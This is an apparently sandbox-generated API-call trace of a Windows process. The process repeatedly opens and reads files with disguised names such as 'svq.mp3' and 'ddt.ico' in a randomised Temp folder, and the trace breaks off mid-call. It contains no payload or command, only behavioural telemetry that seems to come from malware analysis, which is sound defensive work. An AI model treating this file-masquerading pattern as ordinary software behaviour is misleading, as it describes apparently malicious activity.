1 [0071.921] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.921] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.921] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.921] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.921] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.921] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.921] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.921] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.921] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.922] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.922] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.922] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.922] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.922] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.922] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.922] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.922] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.922] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.922] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.922] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.922] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.923] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.923] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.923] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.923] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.923] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.923] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.923] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.923] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.923] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.923] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.923] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.923] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.923] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.924] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.924] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.924] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.924] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.924] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.924] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.924] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.924] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.924] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.924] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.924] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.925] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.925] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.925] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.925] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.925] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.925] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.925] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.925] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.925] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.925] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.926] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.926] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.926] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.926] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.926] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.926] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.926] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.926] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.926] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.926] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.926] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.926] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.927] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.927] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.927] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.927] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.927] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.927] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.927] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.927] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.927] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.927] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.927] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.927] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.927] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.927] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.928] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.928] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.928] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.928] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.928] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.928] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.928] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.929] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.929] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.929] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.929] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.929] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.929] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.929] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.929] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.929] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.929] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.930] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.930] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.930] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.930] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.930] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.930] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.930] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.930] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.930] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.930] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.930] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.931] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.931] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.931] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.931] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.931] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 